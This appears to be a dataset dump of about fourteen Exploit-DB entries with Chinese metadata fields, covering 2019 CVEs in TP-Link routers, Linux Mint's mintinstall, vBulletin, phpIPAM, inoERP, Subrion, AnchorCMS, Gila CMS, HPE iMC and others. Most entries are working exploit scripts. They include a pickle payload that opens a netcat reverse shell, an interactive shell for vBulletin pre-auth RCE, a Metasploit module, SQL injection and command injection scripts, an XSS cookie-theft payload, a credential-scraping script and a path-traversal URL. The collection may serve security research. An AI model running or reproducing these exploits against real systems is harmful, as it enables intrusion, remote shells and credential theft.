QLWD/code_shield huggingface dataset:
标题: TP-Link TL-WR1043ND 2 - Authentication Bypass EDB-ID: 47483 CVE: 2019-6971 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-10-10 漏洞利用脚本: # Exploit Title: TP-Link TL-WR1043ND 2 - Authentication Bypass
# Date: 2019-06-20
# Exploit Author: Uriel Kosayev
# Vendor Homepage: https://www.tp-link.com
# Version: TL-WR1043ND V2
# Tested on: TL-WR1043ND V2
# CVE : CVE-2019-6971
# CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-6971

import requests

ascii = '''
  __________        __    _       __  
 /_  __/ __ \      / /   (_)___  / /__
  / / / /_/ /_____/ /   / / __ \/ //_/
 / / / ____/_____/ /___/ / / / / ,<   
/_/ /_/         /_____/_/_/ /_/_/|_|  

'''
print(ascii)
Default_Gateway = raw_input("Enter your TP-Link router IP: ")

# Constants
url = 'http://'
url2 = '/userRpm/LoginRpm.htm?Save=Save'
full = url + Default_Gateway + url2
# full = str(full)

# The full GET request with the cookie authorization hijacked
req_header = {
    'Host': '{}'.format(Default_Gateway),
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://{}/userRpm/LoginRpm.htm?Save=Save'.format(Default_Gateway),
    'Connection': 'close',
    'Cookie': '''Authorization=Basic%20QWRtaW5pc3RyYXRvcjpjM2JiNTI5NjdiNjVjYWY4ZWRkMWNiYjg4ZDcwYzYxMQ%3D%3D''',
    'Upgrade-Insecure-Requests': '1'
}

try:
    response = requests.get(full, headers=req_header).content
except requests.exceptions.ConnectionError:
    print("Enter a valid Default Gateway IP address\nExiting...")
    exit()
generate = response.split('/')[3] # Gets the randomized URL "session ID"


option_1 = input("Press 1 to check if your TP-Link router is vulnerable: ")

if option_1 is 1:

    if generate in response:
        print('Vulnerable!\n')
        option_2 = input('Press 2 if you want to change the router\'s SSID or any other key to quit: ')
        if option_2 is 2:
            newssid = raw_input('New name: ')
            ssid_url = '/userRpm/WlanNetworkRpm.htm?ssid1={}&ssid2=TP-LINK_660A_2&ssid3=TP-LINK_660A_3&ssid4=TP-LINK_660A_4&region=43&band=0&mode=5&chanWidth=2&channel=1&rate=83&speedboost=2&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save'.format(
                newssid)
            changessid_full = url + Default_Gateway + '/' + generate + ssid_url
            requests.get(changessid_full, headers=req_header)
            print('Changed to: {}'.format(newssid))
        else:
            ("Please choose the correct option.\nExiting...")
            exit()
    else:
        print('Not Vulnerable')
        exit()
else:
    print("Please choose the correct option.\nExiting...")
    exit() URL: https://www.exploit-db.com/exploits/47483
标题: mintinstall 7.9.9 - Code Execution EDB-ID: 47457 CVE: 2019-17080 类型: WEBAPPS 平台: LINUX 发布日期: 2019-10-03 漏洞利用脚本: # Exploit Title: mintinstall (aka Software Manager) object injection
# Date: 10/02/2019
# Exploit Author: Andhrimnirr
# Vendor Homepage: https://www.linuxmint.com/
# Software Link: mintinstall (aka Software Manager)
# Version: 7.9.9
# Tested on: Linux Mint
# CVE : CVE-2019-17080


import os
import sys
def shellCode(payload):
    with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:
        wb.write(payload)
    print("[+] Start mintinstall")
if __name__=="__main__":
    shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")
else:
    print("[!] exploit.py [IP] [PORT]") URL: https://www.exploit-db.com/exploits/47457
标题: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting EDB-ID: 47469 CVE: 2019-17225 类型: WEBAPPS 平台: PHP 发布日期: 2019-10-07 漏洞利用脚本: # Title: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting
# Date: 2019-10-07
# Author: Min Ko Ko (Creatigon)
# Vendor Homepage: https://subrion.org/
# CVE : https://nvd.nist.gov/vuln/detail/CVE-2019-17225
# Website : https://l33thacker.com
# Description :  Allows XSS via the panel/members/ Username, Full Name, or
# Email field, aka an "Admin Member JSON Update" issue.

First login the panel with user credential, Go to member tag from left menu.

http://localhost/panel/members/

Username, Full Name, Email are editable with double click on it. Insert the
following payload

<img src=x onerror=alert(document.cookie)> URL: https://www.exploit-db.com/exploits/47469
标题: AnchorCMS < 0.12.3a - Information Disclosure EDB-ID: 47459 CVE: 2018-7251 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-10-03 漏洞利用脚本: # Exploit Title: Information disclosure (MySQL password) in error log
# Date: 2/10/2019
# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://github.com/anchorcms/anchor-cms/releases
# Version: 0.12.3a
# Tested on: Linux
# CVE : CVE-2018-7251

# By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.

import re
import sys
import importlib


def get_plain(url):
    try:
        plain_result = requests.get(url=url)
        return plain_result
    except:
        return None


def print_usage():
    print('Usage: {0} <url>'.format(__file__))


if __name__ == '__main__':

    # Ensure we have the URL
    if len(sys.argv) != 2:
        print_usage()
        sys.exit(1)

    print("* Using AnchorCMS website: " + sys.argv[1])

    print("* Trying to import 'requests' module")
    requests_loader = importlib.util.find_spec('requests')
    requests_module_found = requests_loader is not None

    if requests_module_found:
        import requests
    else:
        print("* 'requests' module not found, please install it using pip")
        print("* pip install requests")
        sys.exit(1)

    json_url = sys.argv[1].strip("/") + "/anchor/errors.log"
    print("* Trying to get errors.log file at: {}".format(json_url))
    plain_result = get_plain(json_url)

    if plain_result == None:
        print("* URL could not be requested, errors.log is probably not exposed")
        sys.exit(1)

    print("* Found data {}, trying to parse it now".format(plain_result))

    lines = re.findall(r'"line":\d', plain_result.text)

    print("* Found {} error entries".format(len(lines)))

    passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text)

    print("* Found {} passwords entries".format(len(passwords)))

    for password in passwords:
        print("+ {}".format(password)) URL: https://www.exploit-db.com/exploits/47459
标题: Counter-Strike Global Offensive 1.37.1.1 - 'vphysics.dll' Denial of Service (PoC) EDB-ID: 47454 CVE: 2019-15943 类型: DOS 平台: WINDOWS 发布日期: 2019-09-18 漏洞利用脚本: # CVE-2019-15943

Counter-Strike Global Offensive (vphysics.dll) before 1.37.1.1 allows remote attackers to achieve code execution or denial of service by creating a gaming server and inviting a victim to this server, because a crafted map using memory corruption. 

### Description:

We are need modifying class name value in our PoC for triggering this vulnerability, offset for modifying in our PoC is `0x115703`. For example add char `"="` using this offset. PoC is "mc.bsp"

![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/offset.png)

For modeling situation for attack we are need next:
First step is copy mc.bsp to `C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo\maps`;

Second step is start game with our map (mc.bsp), for this we are need turn on game console and insert in console: `map mc`.

![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/1.png)

After this steps we can see next:

![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/windbg.png)

I was use msec.dll (!exploitable) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment [Download msec.dll](https://archive.codeplex.com/?p=msecdbg)
As you can see msec.dll checked this crash and decide that is EXPLOITABLE crash, because SEH chain is corrupted. It is means that attacker can use this vulnerability for remote code execution.

EDB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47454.bsp URL: https://www.exploit-db.com/exploits/47454
标题: vBulletin 5.0 < 5.5.4 - 'widget_php ' Unauthenticated Remote Code Execution EDB-ID: 47447 CVE: 2019-16759 类型: WEBAPPS 平台: PHP 发布日期: 2019-09-23 漏洞利用脚本: #!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e)) URL: https://www.exploit-db.com/exploits/47447
标题: phpIPAM 1.4 - SQL Injection EDB-ID: 47438 CVE: 2019-16692 类型: WEBAPPS 平台: PHP 发布日期: 2019-09-30 漏洞利用脚本: #!/usr/bin/env python3
# Exploit Title: phpIPAM Custom Field Filter SQL Injection
# Exploit Announcement Date: September 16, 2019 5:18 AM
# Exploit Creation Date: September 27, 2019
# Exploit Author: Kevin Kirsche
# Vendor Homepage: https://phpipam.net
# Software Link: https://github.com/phpipam/phpipam/archive/1.4.tar.gz
# Version: 1.4
# Tested on: Ubuntu 18.04 / MariaDB 10.4
# Requires:
#   Python 3
#   requests package
# CVE: CVE-2019-16692

# For more details, view:
# https://github.com/phpipam/phpipam/issues/2738
# https://github.com/kkirsche/CVE-2019-16692

# Example Output
# [+] Executing select user()
# [*] Received: phpipam@172.18.0.4
# [+] Executing select system_user()
# [*] Received: phpipam@172.18.0.4
# [+] Executing select @@version
# [*] Received: .4.8-MariaDB-1:10.4.8+maria~b
# [+] Executing select @@datadir
# [*] Received: /var/lib/mysq
# [+] Executing select @@hostname
# [*] Received: ubuntu


from requests import Session

host = "localhost"
login_url = f"http://{host}/app/login/login_check.php"
exploit_url = f"http://{host}/app/admin/custom-fields/filter-result.php"

credentials = {
    "ipamusername": "Admin",
    "ipampassword": "Password",
}

payload = {
    "action": "add",
    "table": "",
}


cmds = {
    "unpriv": [
        "select user()",
        "select system_user()",
        "select @@version",
        "select @@datadir",
        "select @@hostname",
    ]
}

if __name__ == "__main__":
    client = Session()
    resp = client.post(login_url, data=credentials)
    if resp.status_code == 200:
        for cmd in cmds["unpriv"]:
            print(f"[+] Executing {cmd}")
            payload["table"] = f"users`where 1=(updatexml(1,concat(0x3a,({cmd})),1))#`"
            resp = client.post(exploit_url, data=payload)
            info = resp.text.lstrip("<div class='alert alert-danger'>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':").rstrip("'</div><div class='alert alert-success'>Filter saved</div>")
            print(f"[*] Received: {info}") URL: https://www.exploit-db.com/exploits/47438
标题: vBulletin 5.x - Remote Command Execution (Metasploit) EDB-ID: 47437 CVE: 2019-16759 类型: WEBAPPS 平台: PHP 发布日期: 2019-09-30 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
 super(update_info(info,
                   'Name'           => 'vBulletin 5.x 0day pre-quth RCE exploit',
      'Description'    => %q{
        vBulletin 5.x 0day pre-auth RCE exploit.
        This should work on all versions from 5.0.0 till 5.5.4
      },
      'Platform'       => 'php',
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Reported by: anonymous',  # reported by
          'Original exploit by: anonymous',  # original exploit
          'Metasploit mod by: r00tpgp',  # metasploit module
      ],
      'Payload'        =>
        {
          'BadChars'    => "\x22",
        },
      'References'     =>
        [
          ['CVE', 'CVE-2019-16759'],
          ['EDB', 'NA'],
          ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759']
        ],
      'Arch'           => ARCH_PHP,
      'Targets'        => [
          [ 'Automatic Targeting', { 'auto' => true }  ],
      #    ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
      #    ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
      ],
      'DisclosureDate' => 'Sep 23 2019',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
        ])

  end

    def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
      'encode_params' => false,
      'vars_post'     => 
      {
        'widgetConfig[code]'  => "echo shell_exec(\'echo h4x0000r4l1f4 > /tmp/msf.check.out; cat /tmp/msf.check.out\');exit;",
      }
     })

     if res && res.body && res.body.include?('h4x0000r4l1f4')
       return Exploit::CheckCode::Vulnerable
     end

     Exploit::CheckCode::Safe
  end

    def exploit
      print_status("Sending payload.....")
      resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
      'encode_params' => false,
      'vars_post'     =>
      {
        #'widgetConfig[code]'  => "echo " + payload.encoded + "exit;",
  'widgetConfig[code]'  => payload.encoded,
      }
     })
      #unless resp and resp.code == 200
      # fail_with(Failure::Unknown, "Exploit failed.")
      #end

      #print_good("Success!")
      #print_line(resp.body)

   end
end URL: https://www.exploit-db.com/exploits/47437
标题: inoERP 4.15 - 'download' SQL Injection EDB-ID: 47426 CVE: 2019-16894 类型: WEBAPPS 平台: PHP 发布日期: 2019-09-26 漏洞利用脚本: # Exploit Title: inoERP 4.15 - 'download' SQL Injection
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: http://inoideas.org/
# Version: 4.15
# CVE: N/A

# A malicious query can be sent in base64 encoding to unserialize() function.
# It can be deserialized without any sanitization then.
# After it, it gets passed directly to the SQL query.


#!/bin/python

import os
import base64
import requests
import sys

def generatePayload(query):
    #THIS FUNCTION IS INSECURE BY DESIGN
    b64_query = base64.b64encode(query);
    return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()
    

def ExecSQL(query):
    data = {"data":query,
            "data_type":"sql_query"}
         
    r = requests.post("http://" + ip + "/download.php", data=data)
    return r.content


if __name__ == "__main__":
    
    if len(sys.argv) != 3:
        print '(+) usage: %s <target> ' % sys.argv[0]
        print '(+) eg: %s 127.0.0.1 "ierp/" ' % sys.argv[0]
        exit()
    
    ip = sys.argv[1] + "/" + sys.argv[2]
    
    #if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw== 
    
    data = r"select * from ino_user;"
    
    print ExecSQL(generatePayload(data)); URL: https://www.exploit-db.com/exploits/47426
标题: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution EDB-ID: 47420 CVE: 2019-5485 类型: WEBAPPS 平台: JSON 发布日期: 2019-09-25 漏洞利用脚本: # Exploit Title: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: https://www.npmjs.com/package/gitlabhook
# Version: 0.0.17
# Tested on: Kali Linux 2, Windows 10. 
# CVE : CVE-2019-5485

#!/usr/bin/python

import requests

target = "http://TARGET:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done." URL: https://www.exploit-db.com/exploits/47420
标题: iOS < 12.4.1 - 'Jailbreak' Local Privilege Escalation EDB-ID: 47409 CVE: 2019-8605 类型: LOCAL 平台: IOS 发布日期: 2019-09-23 漏洞利用脚本: Exploit Title: SockPuppet 3
Date: September 8, 2019
Exploit Author: Umang Raghuvanshi
Vendor Homepage: https://apple.com
Software Link: https://ipsw.me/
Version: iOS 11.0—12.2, iOS 12.4
Tested on: iOS 11.0—12.2, iOS 12.4
CVE: CVE-2019-8605

This is an alternative (and complete) exploit for CVE-2019-8605. I have only implemented the exploit and do not claim any rights for discovering and/or publishing the vulnerability. The actual exploit code is in “SockPuppet3.cpp”, other files are either helpers or documentation. This exploit [1] has already been verified in production several times [2] [3], however, I can assist in additional verification if required.

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47409.zip

[1] https://gist.github.com/ur0/a9b2d8088479a70665f729c4e9bf8720 
[2] https://twitter.com/Pwn20wnd/status/1163392040073191426
[3] https://twitter.com/electra_team/status/1163658714840047618 URL: https://www.exploit-db.com/exploits/47409
标题: HPE Intelligent Management Center < 7.3 E0506P09 - Information Disclosure EDB-ID: 47408 CVE: 2019-5392 类型: REMOTE 平台: WATCHOS 发布日期: 2019-09-23 漏洞利用脚本: #!/opt/local/bin/python2.7

# Exploit Title: HPE Intelligent Management Center dbman Command 10001 Information Disclosure
# Date: 22-09-2019
# Exploit Author: Rishabh Sharma (Linkedin: rishabh2241991)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Tested on Version: iMC_PLAT_7.1_E0302_Standard_Windows and iMC_PLAT_7.2_E0403_Std_Win
# Tested on: Windows 7
# CVE : CVE-2019-5392
# Conversion of Nessus Plugin to Python Exploit
# Nessus Plugin Name: hp_imc_dbman_cmd_10001_info_disclosure.nasl
# Description: This vulnerability allow remote attacker to view the contents of arbitrary directories under the security context of the SYSTEM or root user.
# See Also: https://www.tenable.com/plugins/nessus/118038

from pyasn1.type.univ import *
from pyasn1.type.namedtype import *
from pyasn1.codec.ber import encoder
import struct
import binascii
import socket, sys
import sys
import re

if len(sys.argv) != 4:
    print "USAGE: python %s <ip> <port> <directory>" % (sys.argv[0])
    sys.exit(1)
else:
    ip = sys.argv[1]
    port = int(sys.argv[2]) # Default Port 2810
    directory = sys.argv[3]
    payload = directory.replace("\\","\\\\") 
    opcode = 10001

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "Socket Created.."
except socket.error:
 print 'Failed to create socket'
 sys.exit()
victim_address = (ip,port)
print('connecting to {} port {}'.format(*victim_address))
sock.connect((ip, port))

class DbmanMsg(Sequence):
    componentType = NamedTypes(
        NamedType('flag', Integer()),
        NamedType('dir', OctetString())
    )

data = DbmanMsg()
data['flag'] = 1
data['dir'] = payload
encodeddata = encoder.encode(data, defMode=False)
dataLen = len(encodeddata)
values = (opcode, dataLen, encodeddata)
s = struct.Struct(">ii%ds" % dataLen)
packed_data = s.pack(*values)
print 'Format string  :', s.format
print 'Uses           :',s.size, 'bytes'
print 'Packed Value   :', binascii.hexlify(packed_data)
print '\n'
print 'Sending Payload...'
sock.send(packed_data)
BUFF_SIZE = 4000
res = sock.recv(BUFF_SIZE)
rec =  len(res)
if (rec == 0):
 print "No data in the directory"
else:
        print "Data Recived: "+str(rec)
 a = repr(res)
 b = a
 b = re.sub(r'(x\d\d)', '', b)
 b = re.sub(r'(\\x[\d].)', '', b)
 b = re.sub(r'(\\x..)', '', b)
 replacestring = ['"','\\n','\\r','\\t','0']
 print "Data in "+payload+" Directory: \n"
 for r in replacestring:
  b = b.replace(r,'')
 b = b.replace("'","")
 #print b #Remove '#' if output results is not proper
 matches = re.finditer(r"([\\]*)([.[a-zA-Z\d\s]*)", b, re.MULTILINE)
 for matchNum, match in enumerate(matches, start=1):
                
  print match.group(2)
print "Done..."
sock.close() URL: https://www.exploit-db.com/exploits/47408
标题: Gila CMS < 1.11.1 - Local File Inclusion EDB-ID: 47407 CVE: 2019-16679 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-09-23 漏洞利用脚本: # Exploit Title: Authenticated Local File Inclusion(LFI) in GilaCMS
# Google Dork: N/A
# Date: 04-08-2019
# Exploit Author: Sainadh Jamalpur
# Vendor Homepage: https://github.com/GilaCMS/gila
# Software Link: https://github.com/GilaCMS/gila
# Version: 1.10.9
# Tested on: XAMPP version 3.2.2 in Windows 10 64bit,
# CVE : CVE-2019-16679

*********** *Steps to reproduce the Vulnerability* *************

Login into the application as an admin user or equivalent user and go the
below link

http://localhost/gilacms/admin/fm/?f=src../../../../../../../../../WINDOWS/system32/drivers/etc/hosts

################################################################ URL: https://www.exploit-db.com/exploits/47407
标题: Notepad++ < 7.7 (x64) - Denial of Service EDB-ID: 47393 CVE: 2019-16294 类型: DOS 平台: WINDOWS_X86-64 发布日期: 2019-09-16 漏洞利用脚本: # Exploit Title: Notepad++ all x64 versions before 7.7. Remote memory corruption via .ml file.
# Google Dork: N/A
# Date: 2019-09-14
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
# Vendor Homepage: https://notepad-plus-plus.org/
# Version: < 7.7
# Tested on: Windows x64
# CVE : CVE-2019-16294

# Description:

SciLexer.dll in Scintilla in Notepad++ (x64) before 7.7 allows remote code execution or denial of service via Unicode characters in a crafted .ml file. 

Open aaaaa.ml via affected notepad++ 

POC files:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47393.zip

Result:

(230.c64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Notepad++\SciLexer.dll -
rax=00007ff8e64014c0 rbx=00000000000aaaaa rcx=00000000000aaaaa
rdx=0000000000000003 rsi=0000000000000000 rdi=00000000ffffffff
rip=00007ff8e63c071d rsp=000000aa06463d60 rbp=000000aa06463e81
r8=0000000000002fc8 r9=0000000000000000 r10=000000000000fde9
r11=000000aa06463d90 r12=0000000000000000 r13=0000000000000000
r14=0000000000000001 r15=0000000000000002
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
SciLexer!Scintilla_DirectFunction+0x950dd:
00007ff8e63c071d 0fb70458 movzx eax,word ptr [rax+rbx*2] ds:00007ff8e6556a14=???? URL: https://www.exploit-db.com/exploits/47393